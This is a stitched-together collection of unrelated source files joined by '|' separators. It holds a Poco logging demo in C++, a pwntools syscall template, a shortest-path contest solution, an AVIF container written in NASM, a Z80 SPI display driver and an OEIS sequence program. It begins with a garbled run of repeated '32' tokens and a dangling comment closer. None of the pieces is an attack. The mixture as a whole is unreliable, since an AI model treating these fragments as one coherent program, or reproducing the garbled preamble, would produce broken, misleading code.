32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
//
// Created by gennaro on 27/11/20.
//
#include "logging/priority_channel.h"
#include <Poco/ConsoleChannel.h>
#include <Poco/Logger.h>
#include <Poco/SimpleFileChannel.h>
#include <Poco/SplitterChannel.h>
int main(int argc, char **argv) {
auto &logger = Poco::Logger::root();
auto splitter_channel = new Poco::SplitterChannel;
auto priority_channel = new poco_showcase::logging::PriorityChannel(Poco::Message::PRIO_ERROR,
new Poco::SimpleFileChannel("messages.log"));
splitter_channel->addChannel(new Poco::ConsoleChannel);
splitter_channel->addChannel(priority_channel);
logger.setChannel(splitter_channel);
logger.information("informative message from splitter (filtered) channel");
logger.warning("warning message from splitter (filtered) channel");
logger.error("error message from splitter (filtered) channel");
return 0;
}
|
<%
from pwnlib.shellcraft.amd64.linux import syscall
%>
<%page args="fildes"/>
<%docstring>
Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.
Arguments:
fildes(int): fildes
</%docstring>
${syscall('SYS_fdatasync', fildes)}
|
#include <bits/stdc++.h>
using namespace std;
struct node{
int connection,cost;
};
vector<node> cost[20001];
int final_cost[20001];
//vector<int> connection[20001][];
struct node currentNode;
bool operator<(const node& a, const node& b)
{
return a.cost>b.cost;
}
void find_minimum_latency()
{
priority_queue<node> pq;
pq.push(currentNode);
while(pq.size())
{
currentNode = pq.top();
pq.pop();
for(int i=0; i< cost[currentNode.connection].size(); i++)
{
if((currentNode.cost+ cost[currentNode.connection][i].cost) < final_cost[cost[currentNode.connection] [i].connection])
{
node newNode;
newNode.cost = currentNode.cost+ cost[currentNode.connection][i].cost;
newNode.connection = cost[currentNode.connection][i].connection;
pq.push(newNode);
final_cost[cost[currentNode.connection] [i].connection] = newNode.cost;
}
}
}
}
int main()
{
// freopen("myInput.txt","r", stdin);
// freopen("myOutput.txt","w",stdout);
int t;
scanf("%d", &t);
for(int i=1; i<=t; i++)
{
int n,m,s,t;
scanf("%d %d %d %d", &n, &m, &s, &t);
int j;
for(j=0; j<m; j++)
{
final_cost[j]=INT_MAX;
int u,v,x;
scanf("%d %d %d", &u, &v, &x);
currentNode.cost=x;
currentNode.connection=u;
cost[v].push_back(currentNode);
currentNode.connection=v;
cost[u].push_back(currentNode);
}for( ; j<n; j++)
final_cost[j]= INT_MAX;
currentNode.cost=0;
currentNode.connection = s;
find_minimum_latency();
if(final_cost[t] == INT_MAX)
printf("Case #%d: unreachable\n",i,final_cost[t]);
else
printf("Case #%d: %d\n",i,final_cost[t]);
for(int j=0; j<n; j++)
cost[j].clear();
}
return 0;
}
|
; Converts the layer and direction into the corresponding register
function bgof2reg(layer, dir) = (((layer-1)&3)<<1)+(dir&1)+$D
; Converts the layer and direction into the corresponding address
function bgof2addr(layer, dir) = ((((layer-1)&3)<<1)+(dir&1))*2+$1A
|
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24))
ftyp_start:
dd BE(ftyp_end - ftyp_start)
dd "ftyp"
db 0x6D, 0x69, 0x66, 0x31 ; major_brand(32) ('mif1')
db 0x00, 0x00, 0x00, 0x00 ; minor_version(32)
db 0x6D, 0x69, 0x66, 0x31 ; compatible_brand(32) ('mif1')
db 0x61, 0x76, 0x69, 0x66 ; compatible_brand(32) ('avif')
db 0x6D, 0x69, 0x61, 0x66 ; compatible_brand(32) ('miaf')
ftyp_end:
meta_start:
dd BE(meta_end - meta_start)
dd "meta"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
hdlr_start:
dd BE(hdlr_end - hdlr_start)
dd "hdlr"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32)
db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict')
db 0x00, 0x00, 0x00, 0x00 ; reserved1(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved2(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved3(32)
db 0x47 ; name(8) ('G')
db 0x50 ; name(8) ('P')
db 0x41 ; name(8) ('A')
db 0x43 ; name(8) ('C')
db 0x20 ; name(8) (' ')
db 0x70 ; name(8) ('p')
db 0x69 ; name(8) ('i')
db 0x63 ; name(8) ('c')
db 0x74 ; name(8) ('t')
db 0x20 ; name(8) (' ')
db 0x48 ; name(8) ('H')
db 0x61 ; name(8) ('a')
db 0x6E ; name(8) ('n')
db 0x64 ; name(8) ('d')
db 0x6C ; name(8) ('l')
db 0x65 ; name(8) ('e')
db 0x72 ; name(8) ('r')
db 0x00 ; name(8)
hdlr_end:
pitm_start:
dd BE(pitm_end - pitm_start)
dd "pitm"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x01 ; item_ID(16)
pitm_end:
iloc_start:
dd BE(iloc_end - iloc_start)
dd "iloc"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x04 ; offset_size(4) length_size(4)
db 0x40 ; base_offset_size(4) ('@') reserved1(4) ('@')
db 0x00, 0x07 ; item_count(16)
db 0x00, 0x01 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
dd BE(mdat1_start - ftyp_start + 8) ; base_offset(32)
db 0x00, 0x01 ; extent_count(16)
; extent_offset(0)
db 0x00, 0x00, 0x00, 0x08 ; extent_length(32)
db 0x00, 0x02 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32)
db 0x00, 0x01 ; extent_count(16)
; extent_offset(0)
db 0x00, 0x00, 0x00, 0x0A ; extent_length(32)
db 0x00, 0x03 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32)
db 0x00, 0x01 ; extent_count(16)
; extent_offset(0)
db 0x00, 0x00, 0x00, 0x0A ; extent_length(32)
db 0x00, 0x04 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32)
db 0x00, 0x01 ; extent_count(16)
; extent_offset(0)
db 0x00, 0x00, 0x00, 0x0A ; extent_length(32)
db 0x00, 0x05 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32)
db 0x00, 0x01 ; extent_count(16)
; extent_offset(0)
db 0x00, 0x00, 0x00, 0x0A ; extent_length(32)
db 0x00, 0x06 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32)
db 0x00, 0x01 ; extent_count(16)
; extent_offset(0)
db 0x00, 0x00, 0x00, 0x0A ; extent_length(32)
db 0x00, 0x07 ; item_ID(16)
db 0x00, 0x00 ; data_reference_index(16)
dd BE(mdat2_start - ftyp_start + 8) ; base_offset(32)
db 0x00, 0x01 ; extent_count(16)
; extent_offset(0)
db 0x00, 0x00, 0x00, 0x0A ; extent_length(32)
iloc_end:
iinf_start:
dd BE(iinf_end - iinf_start)
dd "iinf"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x07 ; entry_count(16)
infe_start:
dd BE(infe_end - infe_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x01 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x67, 0x72, 0x69, 0x64 ; item_type(32) ('grid')
db 0x00 ; item_name(8)
infe_end:
infe2_start:
dd BE(infe2_end - infe2_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x02 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x49 ; item_name(8) ('I')
db 0x6D ; item_name(8) ('m')
db 0x61 ; item_name(8) ('a')
db 0x67 ; item_name(8) ('g')
db 0x65 ; item_name(8) ('e')
db 0x00 ; item_name(8)
infe2_end:
infe3_start:
dd BE(infe3_end - infe3_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x03 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x49 ; item_name(8) ('I')
db 0x6D ; item_name(8) ('m')
db 0x61 ; item_name(8) ('a')
db 0x67 ; item_name(8) ('g')
db 0x65 ; item_name(8) ('e')
db 0x00 ; item_name(8)
infe3_end:
infe4_start:
dd BE(infe4_end - infe4_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x04 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x49 ; item_name(8) ('I')
db 0x6D ; item_name(8) ('m')
db 0x61 ; item_name(8) ('a')
db 0x67 ; item_name(8) ('g')
db 0x65 ; item_name(8) ('e')
db 0x00 ; item_name(8)
infe4_end:
infe5_start:
dd BE(infe5_end - infe5_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x05 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x49 ; item_name(8) ('I')
db 0x6D ; item_name(8) ('m')
db 0x61 ; item_name(8) ('a')
db 0x67 ; item_name(8) ('g')
db 0x65 ; item_name(8) ('e')
db 0x00 ; item_name(8)
infe5_end:
infe6_start:
dd BE(infe6_end - infe6_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x06 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x49 ; item_name(8) ('I')
db 0x6D ; item_name(8) ('m')
db 0x61 ; item_name(8) ('a')
db 0x67 ; item_name(8) ('g')
db 0x65 ; item_name(8) ('e')
db 0x00 ; item_name(8)
infe6_end:
infe7_start:
dd BE(infe7_end - infe7_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x07 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x49 ; item_name(8) ('I')
db 0x6D ; item_name(8) ('m')
db 0x61 ; item_name(8) ('a')
db 0x67 ; item_name(8) ('g')
db 0x65 ; item_name(8) ('e')
db 0x00 ; item_name(8)
infe7_end:
iinf_end:
iref_start:
dd BE(iref_end - iref_start)
dd "iref"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x18 ; box_size(32)
db 0x64, 0x69, 0x6D, 0x67 ; box_type(32) ('dimg')
db 0x00, 0x01 ; from_item_ID(16)
db 0x00, 0x06 ; reference_count(16)
db 0x00, 0x02 ; to_item_ID(16)
db 0x00, 0x03 ; to_item_ID(16)
db 0x00, 0x04 ; to_item_ID(16)
db 0x00, 0x05 ; to_item_ID(16)
db 0x00, 0x06 ; to_item_ID(16)
db 0x00, 0x07 ; to_item_ID(16)
iref_end:
iprp_start:
dd BE(iprp_end - iprp_start)
dd "iprp"
ipco_start:
dd BE(ipco_end - ipco_start)
dd "ipco"
ispe_start:
dd BE(ispe_end - ispe_start)
dd "ispe"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0xC0 ; image_width(32)
db 0x00, 0x00, 0x00, 0x80 ; image_height(32)
ispe_end:
clap_start:
dd BE(clap_end - clap_start)
dd "clap"
db 0x00, 0x00, 0x00, 0x81 ; cleanApertureWidthN(32)
db 0x00, 0x00, 0x00, 0x01 ; cleanApertureWidthD(32)
db 0x00, 0x00, 0x00, 0x21 ; cleanApertureHeightN(32)
db 0x00, 0x00, 0x00, 0x01 ; cleanApertureHeightD(32)
db 0x00, 0x00, 0x00, 0x01 ; horizOffN(32)
db 0x00, 0x00, 0x00, 0x01 ; horizOffD(32)
db 0x00, 0x00, 0x00, 0x01 ; vertOffN(32)
db 0x00, 0x00, 0x00, 0x01 ; vertOffD(32)
clap_end:
ispe2_start:
dd BE(ispe2_end - ispe2_start)
dd "ispe"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x41 ; image_width(32)
db 0x00, 0x00, 0x00, 0x41 ; image_height(32)
ispe2_end:
pasp_start:
dd BE(pasp_end - pasp_start)
dd "pasp"
db 0x00, 0x00, 0x00, 0x01 ; hSpacing(32)
db 0x00, 0x00, 0x00, 0x01 ; vSpacing(32)
pasp_end:
av1C_start:
dd BE(av1C_end - av1C_start)
dd "av1C"
db 0x81 ; marker(1) version(7)
db 0x20 ; seq_profile(3) (' ') seq_level_idx_0(5) (' ')
db 0x0C ; seq_tier_0(1) high_bitdepth(1) twelve_bit(1) monochrome(1) chroma_subsampling_x(1) chroma_subsampling_y(1) chroma_sample_position(2)
db 0x00 ; reserved(3) initial_presentation_delay_present(1) reserved(4)
; configOBUs(0)
av1C_end:
pixi_start:
dd BE(pixi_end - pixi_start)
dd "pixi"
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x00 ; (8)
db 0x03 ; (8)
db 0x08 ; (8)
db 0x08 ; (8)
db 0x08 ; (8)
pixi_end:
ipco_end:
ipma_start:
dd BE(ipma_end - ipma_start)
dd "ipma"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x07 ; entry_count(32)
db 0x00, 0x01 ; item_ID(16)
db 0x02 ; association_count(8)
db 0x01 ; essential(1) property_index(7)
db 0x86 ; essential(1) property_index(7)
db 0x00, 0x02 ; item_ID(16)
db 0x05 ; association_count(8)
db 0x82 ; essential(1) property_index(7)
db 0x03 ; essential(1) property_index(7)
db 0x04 ; essential(1) property_index(7)
db 0x85 ; essential(1) property_index(7)
db 0x86 ; essential(1) property_index(7)
db 0x00, 0x03 ; item_ID(16)
db 0x05 ; association_count(8)
db 0x82 ; essential(1) property_index(7)
db 0x03 ; essential(1) property_index(7)
db 0x04 ; essential(1) property_index(7)
db 0x85 ; essential(1) property_index(7)
db 0x86 ; essential(1) property_index(7)
db 0x00, 0x04 ; item_ID(16)
db 0x05 ; association_count(8)
db 0x82 ; essential(1) property_index(7)
db 0x03 ; essential(1) property_index(7)
db 0x04 ; essential(1) property_index(7)
db 0x85 ; essential(1) property_index(7)
db 0x86 ; essential(1) property_index(7)
db 0x00, 0x05 ; item_ID(16)
db 0x05 ; association_count(8)
db 0x82 ; essential(1) property_index(7)
db 0x03 ; essential(1) property_index(7)
db 0x04 ; essential(1) property_index(7)
db 0x85 ; essential(1) property_index(7)
db 0x86 ; essential(1) property_index(7)
db 0x00, 0x06 ; item_ID(16)
db 0x05 ; association_count(8)
db 0x82 ; essential(1) property_index(7)
db 0x03 ; essential(1) property_index(7)
db 0x04 ; essential(1) property_index(7)
db 0x85 ; essential(1) property_index(7)
db 0x86 ; essential(1) property_index(7)
db 0x00, 0x07 ; item_ID(16)
db 0x05 ; association_count(8)
db 0x82 ; essential(1) property_index(7)
db 0x03 ; essential(1) property_index(7)
db 0x04 ; essential(1) property_index(7)
db 0x85 ; essential(1) property_index(7)
db 0x86 ; essential(1) property_index(7)
ipma_end:
iprp_end:
meta_end:
free_start:
dd BE(free_end - free_start)
dd "free"
db 0x49 ; (8) ('I')
db 0x73 ; (8) ('s')
db 0x6F ; (8) ('o')
db 0x4D ; (8) ('M')
db 0x65 ; (8) ('e')
db 0x64 ; (8) ('d')
db 0x69 ; (8) ('i')
db 0x61 ; (8) ('a')
db 0x20 ; (8) (' ')
db 0x46 ; (8) ('F')
db 0x69 ; (8) ('i')
db 0x6C ; (8) ('l')
db 0x65 ; (8) ('e')
db 0x20 ; (8) (' ')
db 0x50 ; (8) ('P')
db 0x72 ; (8) ('r')
db 0x6F ; (8) ('o')
db 0x64 ; (8) ('d')
db 0x75 ; (8) ('u')
db 0x63 ; (8) ('c')
db 0x65 ; (8) ('e')
db 0x64 ; (8) ('d')
db 0x20 ; (8) (' ')
db 0x77 ; (8) ('w')
db 0x69 ; (8) ('i')
db 0x74 ; (8) ('t')
db 0x68 ; (8) ('h')
db 0x20 ; (8) (' ')
db 0x47 ; (8) ('G')
db 0x50 ; (8) ('P')
db 0x41 ; (8) ('A')
db 0x43 ; (8) ('C')
db 0x20 ; (8) (' ')
db 0x31 ; (8) ('1')
db 0x2E ; (8) ('.')
db 0x31 ; (8) ('1')
db 0x2E ; (8) ('.')
db 0x30 ; (8) ('0')
db 0x2D ; (8) ('-')
db 0x44 ; (8) ('D')
db 0x45 ; (8) ('E')
db 0x56 ; (8) ('V')
db 0x2D ; (8) ('-')
db 0x72 ; (8) ('r')
db 0x65 ; (8) ('e')
db 0x76 ; (8) ('v')
db 0x33 ; (8) ('3')
db 0x31 ; (8) ('1')
db 0x34 ; (8) ('4')
db 0x2D ; (8) ('-')
db 0x67 ; (8) ('g')
db 0x65 ; (8) ('e')
db 0x62 ; (8) ('b')
db 0x34 ; (8) ('4')
db 0x31 ; (8) ('1')
db 0x64 ; (8) ('d')
db 0x32 ; (8) ('2')
db 0x61 ; (8) ('a')
db 0x32 ; (8) ('2')
db 0x35 ; (8) ('5')
db 0x2D ; (8) ('-')
db 0x69 ; (8) ('i')
db 0x6D ; (8) ('m')
db 0x61 ; (8) ('a')
db 0x67 ; (8) ('g')
db 0x65 ; (8) ('e')
db 0x5F ; (8) ('_')
db 0x6F ; (8) ('o')
db 0x76 ; (8) ('v')
db 0x65 ; (8) ('e')
db 0x72 ; (8) ('r')
db 0x6C ; (8) ('l')
db 0x61 ; (8) ('a')
db 0x79 ; (8) ('y')
db 0x00 ; (8)
free_end:
; dimg
mdat1_start:
dd BE(mdat1_end - mdat1_start)
dd "mdat"
db 0x00 ; derivation version
db 0x00 ; dimg flags
db 0x01 ; dimg rows_minus_one
db 0x02 ; dimg columns_minus_one
db 0x00, 0x00 ; dimg output_width
db 0x00, 0x00 ; dimg output_height
mdat1_end:
; av1
mdat2_start:
dd BE(mdat2_end - mdat2_start)
dd "mdat"
db 0x0A ; (8) 0000 1010
db 0x06 ; (8)
db 0x38 ; (8) 0011 1000
db 0x1D ; (8) 0001 1101
db 0xF0 ; (8) 1111 0000
db 0x20 ; (8) 0010 0000
db 0x00 ; (8) 0000 0000
db 0x20 ; (8) 0010 ;0 color config
db 0x32 ; (8) ('2') ; sync frame
db 0x00 ; (8)
mdat2_end:
; vim: syntax=nasm
|
MOSI .equ low $80
SCLK .equ $40
MODE_REG .equ $00
IO_REG .equ $10
SPI_CS_REG .equ $f0
RAM_TOP .equ $e000
ROM_TOP .equ $10000
.aseg
.org RAM_TOP
jp bootstrap
bootstrap:
xor a
out (MODE_REG),a
ld sp,RAM_TOP
ld a,0
out (IO_REG),a
out (SPI_CS_REG),a
; test display
ld hl,$0f01
call spi
ld de,0
call delay
; normal display
ld hl,$0f00
call spi
ld de,0
call delay
; no input decode
ld hl,$0900
call spi
; max intensity
ld hl,$0a0f
call spi
; scan all digits
ld hl,$0b07
call spi
; normal operation
ld hl,$0c01
call spi
xor a
scf
segnext:
rra
jr c,segdone
ld h,$01
ld l,a
ld b,8
segdigit:
call spi
inc h
djnz segdigit
ld de,$4000
call delay
jr segnext
segdone:
ld b,8
ld h,$01
ld l,0
blank:
call spi
inc h
djnz blank
ld bc,0
ld de,0
loop:
call ssdisp32
ld a,e
add 1
ld e,a
ld a,d
adc 0
ld d,a
ld a,c
adc 0
ld c,a
ld a,b
adc 0
ld b,a
jp loop
delay:
push af
delay10:
dec de
ld a,d
or e
jr nz,delay10
pop af
ret
ssdisp32:
push de
push hl
ld h,d ; save input D
call binhex ; DE = hex for input E
ld a,1 ; digit to display
call ssout ; display lower nibble of input E
ld e,d
ld a,2 ; digit to display
call ssout ; display upper nibble of input E
ld e,h ; restore input D
call binhex ; DE = hex for D
ld a,3 ; digit to display
call ssout ; display lower nibble of input D
ld e,d
ld a,4 ; digit to display
call ssout ; display upper nibble of input D
ld e,c
call binhex ; DE = hex for input C
ld a,5 ; digit to display
call ssout ; display lower nibble of input C
ld e,d
ld a,6 ; digit to display
call ssout ; display upper nibble of input C
ld e,b
call binhex ; DE = hex for input B
ld a,7 ; digit to display
call ssout ; display lower niblle of input B
ld e,d
ld a,8 ; digit to display
call ssout ; display upper nibble of input B
pop hl
pop de
ret
;----------------------------------------------------------------------
; ssout:
; Outputs a bit pattern to a digit of the 7-segment LED display module
;
; On entry:
; A = digit address 1-8 (right to left)
; E = bit pattern for the digit
;
; On return:
; AF destroyed
;
ssout:
push hl
ld h,a
ld l,e
call spi
pop hl
ret
;----------------------------------------------------------------------
; binhex:
; Converts a 8-bit value to two 8-bit patterns representing hexadecimal
; digits for a 7-segment display
;
; On entry:
; E = 8-bit input value
;
; On return:
; D = pattern for upper four bits of input E
; E = pattern for lower four bits of input E
; AF destroyed
;
binhex:
push hl
ld d,e ; save E
; convert lower nibble
ld a,e
and $0f
ld hl,digits ; point to digit patterns
add l ; add nibble value to table LSB
ld l,a ; ... and save it
ld a,h ; get table MSB
adc 0 ; include any carry out of the LSB
ld h,a ; ... and save it
ld e,(hl) ; fetch the bit pattern
; convert upper nibble
ld a,d
rrca
rrca
rrca
rrca
and $0f
ld hl,digits ; point to digit patterns
add l ; add nibble value to table LSB
ld l,a ; ... and save it
ld a,h ; get table MSB
adc 0 ; include any carry out of the LSB
ld h,a ; ... and save it
ld d,(hl)
pop hl
ret
digits:
db $7e ; 0 - 01111110
db $30 ; 1 - 00110000
db $6d ; 2 - 01101101
db $79 ; 3 - 01111001
db $33 ; 4 - 00110011
db $5b ; 5 - 01011011
db $5f ; 6 - 01011111
db $70 ; 7 - 01110000
db $7F ; 8 - 01111111
db $7B ; 9 - 01111011
db $77 ; A - 01110111
db $1F ; b - 00011111
db $4E ; C - 01001110
db $3D ; d - 00111101
db $4F ; E - 01001111
db $47 ; F - 01000111
;----------------------------------------------------------------------
; spi:
; Sends a 16-bit value out to the display module using SPI
;
; On entry:
; HL = value to send
;
spi:
push af
push bc
ld a,$0f
out (SPI_CS_REG),a
xor a
ld b,8
spi10:
rlc h
jp nc,spi20
or low MOSI
jp spi30
spi20:
and low ~MOSI
spi30:
out (IO_REG),a
or SCLK
out (IO_REG),a
and ~SCLK
out (IO_REG),a
djnz spi10
ld b,8
spi40:
rlc l
jp nc,spi50
or low MOSI
jp spi60
spi50:
and low ~MOSI
spi60:
out (IO_REG),a
or SCLK
out (IO_REG),a
and ~SCLK
out (IO_REG),a
djnz spi40
xor a
out (SPI_CS_REG),a
pop bc
pop af
ret
.org ROM_TOP-1
nop
.end |
; A078484: G.f.: -x*(1-2*x+2*x^2)/(2*x^3-4*x^2+4*x-1).
; 0,1,2,6,18,52,148,420,1192,3384,9608,27280,77456,219920,624416,1772896,5033760,14292288,40579904,115217984,327136896,928835456,2637230208,7487852800,21260161280,60363694336,171389837824,486624896512,1381667623424,3922950583296,11138381632512,31625059443712,89792612411392,254946975135744,723867569784832,2055267603419136,5835494084808704
mov $5,$0
mov $7,2
lpb $7
mov $0,$5
sub $7,1
add $0,$7
sub $0,1
mov $2,$0
mov $3,$0
sub $0,1
add $2,6
sub $3,$0
mov $0,1
sub $2,$3
sub $2,5
sub $3,1
mov $4,1
mov $6,1
lpb $2
sub $2,1
add $4,$3
mul $3,2
add $3,$0
add $0,$4
lpe
sub $0,$6
mov $6,$0
mov $8,$7
lpb $8
mov $1,$6
sub $8,1
lpe
lpe
lpb $5
sub $1,$6
mov $5,0
lpe
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.